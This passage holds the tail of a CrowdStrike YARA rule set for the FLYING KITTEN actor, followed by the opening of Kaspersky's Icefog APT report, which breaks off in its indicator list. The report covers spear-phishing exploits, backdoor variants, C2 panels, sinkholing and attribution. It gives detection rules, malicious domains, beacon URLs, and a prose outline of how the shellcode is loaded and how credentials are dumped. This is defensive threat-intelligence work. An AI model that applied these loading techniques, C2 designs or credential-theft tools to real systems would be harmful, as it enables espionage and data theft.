Resources.resources pdbstr  \Stealer\obj\x86\Release\Stealer.pdb condition: all of them and uint16(0)  0x5A4D and uint32(uint32(0x3c))  0x4550 and uint16(uint32(0x3C)  0x16)  0x2000  0 and ((uint16(uint32(0x3c)24)  0x010b and uint32(uint32(0x3c)232)  0) or (uint16(uint32(0x3c)24)  0x020b and uint32(uint32(0x3c)248)  0))  rule CrowdStrike_CSIT_14003_03 : installer  meta: copyright  CrowdStrike, Inc description  Flying Kitten Installer version  1.0 actor  FLYING KITTEN in_the_wild  true strings: exename  IntelRapidStart.exe confname  IntelRapidStart.exe.config cabhdr   4d 53 43 46 00 00 00 00 condition: all of them  You can use this rule with CrowdStrikes free CrowdResponse tool to easily scan your systems for presence of FLYING KITTEN.
If you have any questions about these signatures or want to hear more about Flying Kitten and their tradecraft, please contact: intelligencecrowdstrike.com and inquire about Falcon Intelligence, our Cyber Threat Intelligence subscription.
Share this - http://www.crowdstrike.com/blog/new-community-tool-crowdresponse/ mailto:intelligencecrowdstrike.com
THE ICEFOG APT: A TALE OF CLOAK AND THREE DAGGERS K ASPERSKY L AB GLOBAL RESEARCH AND ANALYSIS TEAM (GREAT) VERSION: 1.00 - also known as three daggers or three knives is an ancient Chinese weapon.
(
C) 2013 KASPERSKY LAB ZAO 2 CONTENTS CONTENTS EXECUTIVE SUMMARY                                                     3 ATTACK ANALYSIS                                                         4 Spear-phishing attacks - Microsoft Office exploits  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.5 Spear-phishing attacks - Java exploits .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.9 Spear-phishing attacks - HLP vector  .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 Spear-phishing attacks - HWP vector .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 Attackers Modus Operandi  .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 Backdoor Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13 Lateral movement tools:  .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
22 COMMAND AND CONTROL SERVERS                                         24 CC Servers Infrastructure .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
25 INFECTION DATA AND STATISTICS                                           33 Sinkhole Information .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
34 ATTRIBUTION                                                           39 MITIGATION INFORMATION                                                 42 Indicators of Compromise (IOCs)  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
42 CONCLUSIONS                                                          49 APPENDIX A                                                            51 Malware MD5s . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
51 APPENDIX B                                                            54 Malware Technical Analysis .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
54 APPENDIX C                                                            60 The Icefog-NG Bot Description  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
60 APPENDIX D                                                            64 The Macfog Bot Description  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
64 3 EXECUTIVE SUMMARY EXECUTIVE SUMMARY Icefog is an Advanced Persistent Threat that has been active since at least 2011, targeting mostly Japan and South Korea.
Known targets include governmental institutions, military contractors, maritime and shipbuilding groups, telecom operators, industrial and high-tech companies and mass media.
The name Icefog comes from a string used in the command-and-control server name in one of the samples.
The command-and-control software is named Dagger Three, in the Chinese language.
The Icefog backdoor set (also known as Fucobha) is an interactive espionage tool that is directly controlled by the attackers.
There are versions for both Microsoft Windows and Mac OS X.
In its latest incarnation, Icefog doesnt automatically exfiltrate data, instead, it is operated by the attackers to perform actions directly on the victims live systems.
During Icefog attacks, several other malicious tools and backdoors were uploaded to the victims machines, for data exfiltration and lateral movement.
This document includes a description of the backdoors, other malicious tools, together with remediation information.
(
Indicators of compromise) 4 ATTACK ANALYSIS ATTACK ANALYSIS The Icefog targeted attacks rely on spear-phishing e-mails that attempt to trick the victim into opening a malicious attachment or a website.
During our investigation, we identified several types of exploits being used through spear-phishing e-mails against the targets: CVE-2012-1856 (the Tran Duy Linh (also see: http://blog.malwaretracker.com/2013/06/ tomato-garden-campaign-possible.html) exploit fixed in Microsofts MS12-060 security bulletin) CVE-2012-0158 (the MSCOMCTL.OCX remote code execution vulnerability fixed with Microsofts MS12-027 security bulletin) Web links to Oracle Java exploits (CVE-2013-0422 and CVE-2012-1723) HLP exploits and abuse of features HWP exploits The first two vulnerabilities are exploited through Microsoft Office documents (Word and Excel) that drop and execute the backdoor and show a fake lure document to the victim.
These appear to be the most common methods used by the attackers at this moment.
http://blog.malwaretracker.com/2013/06/tomato-garden-campaign-possible.html http://blog.malwaretracker.com/2013/06/tomato-garden-campaign-possible.html 5 ATTACK ANALYSIS SPEAR-PHISHING ATTACKS - MICROSOFT OFFICE EXPLOITS The victim receives an e-mail with an attachment that is either a Word (.doc) or Excel (.xls) file.
EX AMPLE A MD5 FILENAME KASPERSKY NAME b8bed65865ddecbd22efff0970b97321 E-mail message Exploit.
MSWord.
CVE-2012- 0158.bu 5f1344d8375b449f77d4d8ecfcdeda9a AKB48 Sashihara Rino was super cheetah (with picture).
Doc based on his confession Exploit.
MSWord.
CVE-2012- 0158.bu 9de808b3147ec72468a5aec4b2c38c20 Temporary dropper Backdoor.
Win32.CMDer.ct 120f9ed8431a24c14b60003260930c37 wdmaud.drv Backdoor.
Win32.CMDer.ct The attachment is a standard Tran Duy Linh exploit for CVE-2012-1856.
Sample Icefog spear-phishing e-mail 6 ATTACK ANALYSIS Upon successful execution, the exploit displays a decoy document featuring a picture of a scantily clad woman: EX AMPLE B MD5 FILENAME KASPERSKY NAME 32e8d4b2f08aff883c8016b7ebd7c85b Name varies Exploit.
MSWord.
CVE-2012-0158.u d544a65f0148e59ceca38c579533d040 n/a Trojan-Downloader.
Win32.Agent.wqqz 9a64277e40e3db8659d359126c840897 wdmaud.drv Trojan-Downloader.
Win32.Agent.wqqz Sample Icefog spear-phishing e-mail 7 ATTACK ANALYSIS Upon successful execution, this shows a clean, fake lure document in Japanese titled Little enthusiasm for regional sovereignty reform: EX AMPLE C MD5 FILENAME KASPERSKY NAME 61ed85d28eb18b13223e033a01cb5c05 .eml / Reviews for mass production material Exploit.
MSWord.
CVE-2012- 0158.az 43edcbd20bb5fec2c2d36e7c01d49fc7 20130128.xls Exploit.
MSWord.
CVE-2012- 0158.az Sample Icefog spear-phishing e-mail 8 ATTACK ANALYSIS This is a business e-mail in Japanese: The same malware was used to spear-phish multiple targets in Japan.
Another example (d6c90955c6f2a346c9c91be82a1f9d8c) looks like this: 9 ATTACK ANALYSIS SPEAR-PHISHING ATTACKS - JAVA EXPLOITS In addition to Microsoft Office exploits, the Icefog attackers are known to be using Java exploits, hosted online.
For instance, one of the malicious websites used in the attacks was money.cnnpolicy.com.
The Java exploit downloaded and executed an Icefog dropper from the following URL: www.securimalware[dot]net/info/update.exe Note: This website is now SINKHOLED by Kaspersky Lab.
The update.exe is a standard Icefog dropper, with the following information: MD5 COMPILEDON KASPERSKY NAME 78d9ac9954516ac096992cf654caa1fc 2012-07-26 03:10:51 Trojan-Downloader.
Win32.Agent.
gzda Upon execution, it installs the Icefog malware as sxs.dll in the Internet Explorer folder (usually C:\ Program Files\Internet Explorer): MD5 COMPILEDON KASPERSKY NAME 387ae1e56fa48ec50a46394cc51acce7 2012-07-26 03:10:48 Trojan-Downloader.
Win32.Agent.
xsub To receive control, the malware DLL (sxs.dll) uses a technique known as DLL search order hijacking, which abuses the fact that Internet Explorer will load this file from its own directory, instead of the Windows SYSTEM folder.
The backdoor beams out to the command-and-control server at www.setchon[dot]com/jd/ upload.aspx 10 ATTACK ANALYSIS SPEAR-PHISHING ATTACKS - HLP VECTOR The Icefog attackers are also using HLP files to infect their targets.
The HLP files do not contain exploits but they are abusing certain Windows features to drop the malware.
Its interesting to know that Icefog is not the only crew to heavily use HLP exploits as a part of their toolkit.
Well known, very effective APT like the Comments Crew / APT1, have included the HLP trick in their kits, along with other lesser known crews.
This HLP format is an older one, known as Winhelp, which was natively supported up until Vista and Windows 7, when Microsoft shipped a separate Winhlp32.exe component to help phase out the technology.
Most likely, the choice to abuse Winhelp indicates that the attackers have an idea of what version operating systems they are attacking.
In very conservative terms, this implementation of HLP files is not an exploit, but instead, abuse of a poorly constructed Windows Help feature.
Code and data is mixed in this file format, and the Icefog attackers abused it with custom macros.
A fine description of custom macros and the risks of building them in to WinHelp projects is provided by Ruben Santamarta: http://reversemode.com/index2.php?optioncom_contentdo_ pdf1id4 EX AMPLES MD5 FILENAME KASPERSKY NAME 0b28d3cc9e89ffe53dbb50f739fcb6e3 QA.hlp Exploit.
WinHLP.Agent.d 4482fd69a07ab15d9a9d3b3819d048be .hlp Exploit.
WinHLP.Agent.d Lets take a quick look at an example of how the Icefog attackers abused the provided WinHelp functionality by examining the relevant custom macros, API calls and shellcode.
11 ATTACK ANALYSIS This sample uses standard Win32 API to allocate memory with the execution flag set, copies(using long string copy) XORed shellcode and calls CreateThread to transfer execution to the malicious payload.
In the screenshot above, RR means RegisterRoutine.
After  registration, one can simply call the respective function.
Next, the sample allocates memory with execution flag , and copies XORed  shellcode .
To execute the code,  a simple call to CreateThread( ) suffices: The shellcode is encrypted with a simple 0xBF XOR operation: Upon execution, the shellcode installs an Icefog backdoor that communicates with the C2s at: www.samyongonc[dot]com/jd/upload.aspx and www.625tongyi[dot]com/jd/upload.aspx 12 ATTACK ANALYSIS SPEAR-PHISHING ATTACKS - HWP VECTOR During our investigation, we observed Icefog attacks using HWP files.
These are document files used by the Hangul Word Processor.
According to Wikipedia, Hangul (also known as Hangul Word Processor or HWP) is a proprietary word processing application (link to: http://en.wikipedia.org/ wiki/Hangul_(word_processor))  published by the South Korean company Hancom Inc.
It is used extensively in South Korea, especially in the government sector.
Unfortunately, we were not able to obtain any of these files, although they were used to successfully attack and infect victims.
Users of HWP should be aware of these exploits and update their Hangul Word Processor installation to the most recent version.
ATTACKERS MODUS OPERANDI The attack is initiated through spear-phishing e-mails, taking advantage of multiple known (already patched) vulnerabilities.
Once they successfully infect a machine, the operators perform several basic functions to identify and confirm the nature of the victim: List folders on disk such as My Documents and the Desktop.
List adapters and IP configurations.
Get information about the victim and their network.
If the victims looks genuine (they avoid working with virtual machines and fake victims) they further deploy additional software, including: Type 2 backdoors that use a newer protocol for communication.
Lateral movement tools such as: Password and hash dumping tools.
Tools to dump Internet Explorer saved passwords.
Tools to dump Outlook e-mail accounts and passwords.
Debugging tools.
http://en.wikipedia.org/wiki/Hangul_(word_processor) http://en.wikipedia.org/wiki/Hangul_(word_processor) 13 ATTACK ANALYSIS The legitimate RAR program to compress stolen data.
We have documented three main types of stolen data: Windows address books, .WAB files.
Documents, including HWP, XLS and DOC files.
User account credentials.
If stolen information represents large files, they are compressed with the popular tool WinRAR (split into volumes) or CABARC and transferred to the command-and-control part by part.
BACKDOOR INFORMATION Several known variants of the Icefog backdoor are known to exist.
We list these as following: The old 2011 Icefog  which sends stolen data by e-mail this version was used against the Japanese House of Representatives and the House of Councillors in 2011.
Type 1 normal Icefog  which interacts with command-and-control servers.
Type 2 Icefog  which interacts with a script-based proxy server that redirects commands from the attackers to another machine.
Type 3 Icefog  We dont have a sample of this variant but we observed a certain kind of CC that uses a different communication method we suspect there are victims infected with this malware.
Type 4 Icefog  same situation as type 3.
Icefog-NG  which communicates by direct TCP connection to port 5600.
14 ATTACK ANALYSIS THE OLD 2011 ICEFOG Back in 2011, we analyzed malware samples that were used to attack several Japanese organizations.
Among of the attacked organizations were the Japanese House of Representatives and the House of Councilors.
MD5 COMPILEDON KASPERSKY NAME 6d3d95137ef1ba5c6e15a4a95de8a546 2011-08-05 16:44:30 Trojan-Spy.
Win32.Agent.bxeo a72d3774d2d97a7eeb164c6c5768f52a 2011-07-22 20:54:16 Trojan-PSW.Win32.MailStealer.j Both samples beacon out to the CC at www.cloudsbit.com, although to different scripts: /dj/ upload.aspx and /jd2web/upload.aspx.
In addition to the normal command-and-control mechanism, these older samples feature another capability, which involves e-mail accounts on AOL.COM: harrypottercommand001aol.com jd2command092aol.com jd2clientsendaol.com woshihero009aol.com mrmylcmd009aol.com defaultmail002aol.com The malware has the ability to connect to these accounts by POP3 and fetch commands from the mailbox.
It also has the ability to send stolen data by e-mail, by contacting smtp.aol.com and sending e-mail messages directly.
Heres what such a session looks like: 15 ATTACK ANALYSIS One of the samples used in the attacks drops a lure photo depicting a Japanese audience: Of the e-mail accounts used by the backdoor, one of them was interesting: woshihero009[at] aol.com Back in August 2011, when these attacks took place, this mailbox had several hundred e-mails with stolen information from the victims.
Note: the faces of the people in the photo above have been  blurred in accordance to the Japanese Portrait Rights  (() regulations 16 ATTACK ANALYSIS Interestingly, their address book contained a number of e-mail addresses to which e-mails were forwarded and were automatically added to the address book.
Note: More information about the attackers and the older 2011 Icefog incident is available in our private report.
T YPE 1 ICEFOG MD5 COMPILEDON KASPERSKY NAME 2a106c694660891e0950493e3eedc42d 2013-06-19 12:43:17 Trojan-Downloader.
Win32.Agent.
yium The Icefog type 1 backdoor is a remotely controlled Trojan that supports a variety of functions.
Versions of this backdoor are available for Microsoft Windows and Mac OS X.
It has the ability to: Hijack and upload basic system information to CC servers owned and controlled by the attackers.
Give the attackers access to push and run commands on the infected system.
Steal and upload files from the victims to the command-and-control servers.
Download files (tools) from the CC servers to the infected computers.
Give access to the attackers to directly execute SQL commands on any MSSQL servers in the network.
For a technical description of the type 1 Icefog backdoor, see Appendix B.
17 ATTACK ANALYSIS T YPE 2 ICEFOG The type 2 Icefog backdoor is very similar to type 1.
However it uses a proxy server for the commands.
This behavior relies on a set of ASP scripts, which act as a buffer between the real CC backend and the victim.
It offers another level of anonymity to the attackers, as it can be controlled (for instance) via Tor or another anonymizing method.
We havent observed the use of Type 2 backdoors directly against the victims.
Instead, the type 2 backdoor is used as an upgrade to Type 1 infections, together with a special loader tool.
It uses a script named alive.asp for most of the operations.
(
example CC URL: www.chinauswatch[dot]net/test/space.asp - SINKHOLED by Kaspersky Lab).
Icefog Type 2 CC scripts 18 ATTACK ANALYSIS Type 2 Icefog exists as shellcode files, usually named msuc.dat.
These are loaded through the use of a special tool.
MD5 FILENAME KASPERSKY NAME 324d26f4fb7a91b8019c19e6a0318400 msuc.dat Trojan.
Win32.Icefog.a aa97368c43171a5c93c57327d5da04cf msuc.dat Trojan.
Win32.Icefog.a Loaders: MD5 FILENAME KASPERSKY NAME d22ab2a2f9e4763a35eb7c6db144d3d4 msld.exe Trojan.
Win32.Icefog_loader ffef41bd67de8806ac2d0e10a3cab3c2 .exe.jpg (Undercurrent server code piece calling program) Trojan.
Win32.Icefog_loader be043b0d1337f85cfd05f786eaf4f942 .exe.jpg (Communication module code sheet invoking special.
Exe.jpg) Trojan.
Win32.Icefog_loader In terms of functionality, type 2 Icefog is similar to type 1.
The only difference is that the malware does not have persistence in the system and disappears after reboot.
T YPE 3 AND 4 ICEFOG Although we dont have samples of these variants, we observed and sinkholed a certain kind of Icefog-related command-and-controls that use a different communication method we suspect there are victims that are infected with this malware.
Type 3 Icefog uses scripts named view.asp and update.asp.
Known CC URLs: www.krentertainly[dot]net/web/view.asp disneyland.website.iiswan[dot]com/web/view.asp Type 4 Icefog uses scripts named upfile.asp.
Known CC URL: www.pinganw[dot]org/sugers/upfile.asp - SINKHOLED by Kaspersky Lab) 19 ATTACK ANALYSIS We continue to look for these variants and will update the paper when or if they are identified.
T YPE NG ICEFOG Type NG Icefog is the most recent version of this backdoor.
It is designed to communicate directly with a command-and-control software that runs on Microsoft Windows computers.
For a thorough technical description of the type 1 Icefog backdoor, see Appendix C. MACFOG - THE MAC OS X VERSION OF ICEFOG In late 2012, the Icefog attackers experimented with a Mac OS X version of Icefog.
This particular version of the malware was seeded in a number of Chinese BBS forums and masked as a graphic application.
Here is an example: http://bbs.pcbeta.com/forum.php?modviewthreadtid1157944 page1pid30109870 On 19 October 2012, the user appstoer advertised an application named Img2icns.rar.
The archive contains a Mac OS X application that drops and installs the Macfog malware.
We were able to find two such archives, but there are probably more.
http://bbs.pcbeta.com/forum.php?modviewthreadtid1157944page1pid30109870 http://bbs.pcbeta.com/forum.php?modviewthreadtid1157944page1pid30109870 20 ATTACK ANALYSIS MD5 FILENAME SIZE 126c6b7f5be186fd48bb975f7e59385e Img2icns.zip 5,283,638 ff27ebb3696e075e339195a2833caa47 Img2icns.zip 5,285,456 The malicious modules have the following identification data: MD5 FILENAME SIZE KASPERSKY NAME cf1815491d41202eb8647341a8695e1e launchd 32,768 Trojan.
OSX.Macfog.a 336de9428650c46b64ff699ab4a441bb launchd 23,084 Trojan.
OSX.Macfog.a 9f422bb6c00bb46fbfa3918ae3e9447a Img2icns 23,236 Trojan.
OSX.Macfog.a The Macfog backdoor is a 64-bit Apple Mac OS X Mach-O executable, compiled with the LLVM Clang package.
It uses the type 1 CC servers protocol to communicate and has the same capabilities as the Windows version.
We are including a brief description below a full description of the malware is available in Appendix D: MACFOG: SUMMARY DESCRIPTION The Macfog backdoor is very similar to its Win32 siblings.
It collects unique system information and POSTs this data to a hardcoded URL: hxxp://appst0re.net/upload.aspx?filepathorder/ok/arbitrary namefilenamehostname.jpg 21 ATTACK ANALYSIS The backdoor is capable of familiar functionalities: system information collection, communication over HTTP with the CC, download and upload files and execute system commands.
The Macfog backdoor is different from the Windows variant from the point of view of usage by the attackers.
So far, we havent identified victims of targeted attacks being infected with it, although we do believe they exist.
The seeding of this version through Chinese bulletin boards resulted in a few hundred infections worldwide.
We believe this could have been a beta-testing phase for Mac OS X versions to be used in targeted attacks later.
Macfog CC configuration data 22 ATTACK ANALYSIS LATERAL MOVEMENT TOOLS: The attackers rely on a multitude of lateral movement tools that are deployed to the victims through the command-and-control servers.
The tools we observed cover a variety of functions, such as dumping Windows user credentials, Outlook and Internet Explorer saved passwords, and the gathering of system information.
One of the servers we analyzed had an open folder where some of the filenames of the lateral movement tools were still visible, although most were truncated to 0 by the CC upon successful execution on the victim: A description of some of the tools we observed follows: MD5 FILENAME DESCRIPTION d53cec579c7b3b3e0f77cd64e0c58bbf console.exe.jpg Server backend of Icefog-NG 00c3d59a83c3745498b75fd9d1067b4c Dbgview.exe.jpg Sysinternalss Dbgview 9d3d8504cd488acaa731cfdd48fe5851- hush.exe.jpg Known Windows hashes dumping tool quarks-pwdump.exe ffef41bd67de8806ac2d0e10a3cab3c2 .exe.
jpg (Undercurrent server code piece calling program) Loader for type 2 Icefog be043b0d1337f85cfd05f786eaf4f942 .exe.jpg (Communication module code sheet invoking special.
Exe.jpg) Loader for type 2 Icefog 95ee545a6562a81c3e049a48c5b9f8aa freespi.cab.cab Small tool which lists and deletes Winsock providers.
Icefog uses Winsock providers for persistence, so it is used by the attackers during upgrade to a newer version of the malware.
Folder with lateral movement tools on a command-and-control server 23 ATTACK ANALYSIS In addition to these, several other tools were observed but not recovered.
For instance, on one of the victim machines, we observed what appeared to be the use of a Kernel exploit through a Java application for escalation of privileges.
Unfortunately, we do not know if it was a zero-day kernel vulnerability because the file was deleted by the attackers after being used.
24 COMMAND AND CONTROL SERVERS COMMAND AND CONTROL SERVERS During our research, we observed multiple Icefog command and control servers.
Most of them were on shared hosting platforms, however, some of them, which were of greater importance to the attackers, were also using dedicated hosting.
Perhaps one of the most important aspects of the Icefog CCs is the hit and run nature.
The attackers would set up a CC, create a malware sample that uses it, attack the victim, infect it, and communicate with the victim machine before moving on.
The shared hosting would expire in a month or two and the CC disappears.
The nature of the attacks was also very focused - in many cases, the attackers already knew what they were looking for.
The filenames were quickly identified, archived, transferred to the CC and then the victim was abandoned.
Based on the CC names, we were able to identify several Icefog campaigns that were active between 2011-2013.
From the timeline above, it seems the attackers increased the number of campaigns in 2013 compared to previous years, although its possible that malware and artifacts used in earlier years are no longer available.
Hence, the chart probably represents only a fraction of the attackers activity during the past years.
25 COMMAND AND CONTROL SERVERS CC SERVERS INFRASTRUCTURE We identified four types of Icefog CC servers - type 1, 2, 3 and type 4.
Also, there is a fifth, standalone type of CC, used for Icefog-NG, which runs as a Windows desktop application.
The type 1 CC server uses a full web backend that lets the attacker directly control the victims via a web browser.
The type 1 C2 backend is written in ASP.NET.
The type 2 CC server backend we identified acts as a virtual, custom proxy between the attackers and the victims.
It is written in ASP and is extremely simplistic in operation.
This is more effective as it conceals the attackers identity.
The second type of C2 works in conjunction with a control tool, probably running directly on the attackers PC.
The type 3 CC server (used in the starwings and disneyland campaigns) appears to be experimental and features only two basic functions: view and update.
Its exact workings are unknown and we havent been able to locate the Icefog malware that uses it.
The type 4 CC server was identified through sinkholing of the domain pinganw[dot]org.
(
known C2 URL - www.pinganw[dot]org/sugers/upfile.asp).
Just like type 3, the exact workings are unknown and we havent been able to locate the Icefog malware that uses it.
The Icefog-NG CC server is a Windows desktop application which doesnt require a web server and works as a standalone TCP server, which by default listens on port 5600.
Our analysis focuses on type 1 CC servers, which are the most popular and have been used in most of the attacks we observed.
26 COMMAND AND CONTROL SERVERS Heres a look at the type 1 command-and-control server login screen: The command-and-control script (control.aspx) features an interesting comment shiyanlllllllllllllllllllllllllll.
The page title is , which means Dagger Three in Chinese.
27 COMMAND AND CONTROL SERVERS For martial arts fans, the  is quite similar to , which is an ancient Chinese weapon.
The Type 1 C2 interface is written in ASP.NET and features an easy to use interface to communicate with and manage the victims: This control panel is actually a Visual Basic.
NET web application with the following structure: The ManageSystem CC user interface (type 1) 28 COMMAND AND CONTROL SERVERS The application uses the native filesystem as the main storage to save stolen data, logs and temporary files.
Below is short description of directories used by the CC application: ok: heartbeat files with dates that indicate the last time a victim was online.
downloads: files that were transferred from the victim at the request of the operator.
uploads: files that should be pushed to the victim systems.
order: files containing instructions or commands that are to be executed on the victims machines.
result: The result of command execution on the victims machines.
info: basic information about the victims systems.
logs: operator interaction logs, can be erased on request by the operator.
files: additional files, including JavaScript, CSS and images used by Control Panel web user interface.
Perhaps the most interesting part is that the type 1 CC panel maintains a full history of the attackers interaction with the victims.
This is kept as an encrypted logfile, in the logs directory on the server.
In addition to that, the server maintains full interaction logs and command execution results from each victim.
29 COMMAND AND CONTROL SERVERS Below we can see an example of the attackers copying a number of files to c:\temp\mslog from an USB flash drive connected to the computer with Korean Windows systems and preparing them for upload to the C2: In another example, we can see them uploading and running a type 2 backdoor on top of the type 1 infection: 30 COMMAND AND CONTROL SERVERS Interestingly, the modern Icefog-NG CC application looks very similar to Icefog Web UI - it uses the same multi-tab layout and even has the same tab titles.
We believe that Icefog-NG was developed by the same author to replace Icefog bot and the web-based Control Panels.
Icefog-NG File Control tab 31 COMMAND AND CONTROL SERVERS Icefog-NG was designed to be more responsive and convenient to the operator.
The data storage is the same - local filesystem, and even the file names are the same as on the previous Icefog version.
Here is a screenshot of the user interface from the Icefog-NG CC application.
Like with the web-based Icefog, this CC application requires authorization of the operator.
While in the web version it made sense to authenticate remote users to restrict access to the Control Panel, the desktop application authentication is easily bypassed, because the login and password are hardcoded in the binary.
Heres a look at the victims panel in the Icefog-NG CC software: Icefog-NG login prompt Icefog-NG UI layout optimized for a screen resolution of 1280x1024 32 COMMAND AND CONTROL SERVERS One curious fact about Icefog-NG is that it is usable only if you have screen resolution set at 1280x1024 or higher.
Even on standard 1024x768, not all controls fit into screen.
The application was created using Microsoft Visual Studio MFC AppWizard.
Although, the sample we analyzed was compiled in May 2013, the project was most likely started in 2012, which is stated in the About Application message box.
This date is put automatically by the AppWizard when the code is generated for the first time.
33 INFECTION DATA AND STATISTICS INFECTION DATA AND STATISTICS The command-and-control servers maintain full logs of the victims together with the various operations performed on them by the CC operators.
These logs are encrypted with a simple XOR operation and available to anyone who knows their location and name on the server.
Heres what a decoded log looks like: These logs can sometimes help to identify the targets of the attacks and in some cases, the victims.
During our research, we observed attacks against a number of targets in South Korea, Taiwan and Japan.
These include defense industry contractors such as Lig Nex1 and Selectron Industrial Company, shipbuilding companies such as DSME Tech, Hanjin Heavy Industries, telecom operators such as Korea Telecom, media companies such as Fuji TV and the Japan-China Economic Association.
Sample CC activity log Some organizations that the attackers were interested in targeting 34 INFECTION DATA AND STATISTICS SINKHOLE INFORMATION During our research, we managed to sinkhole 13 domains used by the attackers: spekosoft.com kechospital.com unikorean.com pasakosoft.net chinauswatch.net msvistastar.com defenseasia.net pinganw.org kevinsw.net avatime.net shinebay.net securimalware.net - used in spear-phishing attacks appst0re.net - MacFogs command-and-control All of them have been redirected to the Kaspersky Sinkhole server at 95.211.172.143.
Overall, during the monitoring period, we observed connections from several victims, based in South Korea, Japan, Taiwan, Germany and some other countries.
35 INFECTION DATA AND STATISTICS For Windows based computers, we have the following statistics: Distribution by number of hits in our sinkhole (percentage) Distribution by number of hits in our sinkhole (absolute values) 36 INFECTION DATA AND STATISTICS .
Distribution by number of IPs in our sinkhole (percentage) Distribution by country by number of IPs in our sinkhole (percentage) 37 INFECTION DATA AND STATISTICS For Macfog, the Mac OS X version of the backdoor, we have the following statistics: Overall, weve observed over 4500 IPs with infected Macfog hosts, belonging to more than 430 unique victims.
Distribution by number of IPs in our sinkhole (percentage) Distribution by number of IPs in our sinkhole (absolute values) 38 INFECTION DATA AND STATISTICS For Windows-based machines, our sinkhole received connections from almost 200 unique IPs, in six countries.
It should be noted that in terms of the overall picture, these sinkholed domains offer a view of only a fraction of the infected computers, especially old infections which for some reason have not yet been disinfected.
The newer attacks are more difficult to track because they use new CC domains that cant be easily sinkholed.
Another important note relates to geographical distribution of victims.
While we see many connections coming from China, this doesnt mean that it has victims of targeted attacks.
Because the Macfog samples that we have seen are being distributed in a trojanized bundle with legitimate software on publicly available Chinese message boards, visitors (especially those who read Chinese) from any country in the world could get infected.
We believe that a primary goal of doing that was to test malware in different environments and evaluate its efficiency.
That explains why the domain used as C2 was abandoned - random victims had less value for the attackers.
Based on the more reliable analysis of the CC servers used in the targeted attacks, spearphishing examples and other data collected during our research, we believe that the primary targets of the Icefog operations were in South Korea and Japan.
39 ATTRIBUTION ATTRIBUTION AT TACKER IPS Based on the list of IPs used to monitor and control the infrastructure, we assume some of the threat actors behind this operation are based in at least three countries: China (the largest number of connections) South Korea Japan More information on attribution is available in our private report for governments.
(
Contact intelreportskaspersky.com) MALWARE ARTIFACTS The MSUC.DAT type 2 backdoor has an ASCII string inside with the following content:  Yang.
ZC Wang.
GS Zhan.
QP Ma.
J Li.
X Hu.
HXU.
Icefog Type 2 hardcoded names 40 ATTRIBUTION The Icefog Type 2 backdoor loader with MD5 be043b0d1337f85cfd05f786eaf4f942, found on the C2 domain infostaition.com has the following debug path inside: C:\Users\yang.zc\Desktop\ 4\Release\UCCodePieceGo.pdb Note that Yang.zc appears in both strings.
The string  4 translates to Piece of code calling 4 from Chinese.
L ANGUAGE USAGE One of the CC backend control scripts (control.aspx) has the page title , which means Dagger Three in Simplified Chinese.
The ASPX server-side scripts contain a number of messages and code comments in Chinese: Dagger Three - page title 41 ATTRIBUTION One of the lateral movement tools used by the attackers has a Chinese name: windows.txt.jpg - windows version.txt.jpg Unauthenticated CC login attempts to access the command-and-control user interface result in redirects to sohu.com: Note: sohu.com is one of the most popular internet portals in China.
REGISTRATIONS More information is available in our private report for governments.
(
Contact intelreportskaspersky.com) mailto:intelreports40kaspersky.com?subject 42 MITIGATION INFORMATION MITIGATION INFORMATION INDICATORS OF COMPROMISE (IOCS) CC DOMAINS AND HOSTNAMES 40yuan.8.100911.com 625tongyi.com 9-joy.net agorajpweb.com appst0re.net  - SINKHOLED by Kaspersky Lab bigbombnews.com chinauswatch.net - SINKHOLED by Kaspersky Lab cloudsbit.com cnnpolicy.com dabolloth.com dancewall228.com dashope.net daxituzi.net defenseasia.net  - SINKHOLED by Kaspersky Lab disneyland.website.iiswan.com dosaninfracore.com dotaplayers.com electk.net 43 MITIGATION INFORMATION esdlin.com fruitloop.8.100911.com gamestar2.net gangstyleobs.com globalwebnews.net icefog.8.100911.com infostaition.com kakujae.com kansenshu.com kevinsw.net - SINKHOLED by Kaspersky Lab kechospital.com - SINKHOLED by Kaspersky Lab kimjeayun.com koreanmofee.com kreamnnd.com krentertainly.net lexdesign152.net mashuisi.net minihouse.website.iiswan.com msvistastar.com - SINKHOLED by Kaspersky Lab mudain.net namoon-tistory.com newsceekjp.com nk-kotii.com 44 MITIGATION INFORMATION pasakosoft.net - SINKHOLED by Kaspersky Lab pinganw.org - SINKHOLED by Kaspersky Lab ppxxcc.org samyongonc.com securimalware.net - SINKHOLED by Kaspersky Lab sejonng.org sejoung.org setchon.com skynet121.net spekosoft.com - SINKHOLED by Kaspersky Lab starwings.net tokyoyan.net twittle.org unikorean.com - SINKHOLED by Kaspersky Lab war3players.com widestar.net womenewes.com yahoowebnews.com zhpedu.org MALWARE PATHS ON DISK: TEMP\scvhost.exe TEMP\svohost.exe TEMP\msuc.dat 45 MITIGATION INFORMATION TEMP\order.dat TEMP\cmd1.dat TEMP\tmpxor.dat SYSTEMROOT\msld.exe SYSTEMROOT\wdmaud.drv PROGRAM FILES\Internet Explorer\sxs.dll MUTEXES: my_horse_mutex_jd2_new my_horse_mutex_jd2_923 myhorse_macfee horse_for360 myhorsemutexjd3_wm_1226 myhorsemutex myhorse_qianfu001 myhorse_ie001 myhorse_ie_001 USER AGENT STRINGS (HT TP TRAFFIC): MyAgent mydownload E-MAILS ACCOUNTS: Accounts used to 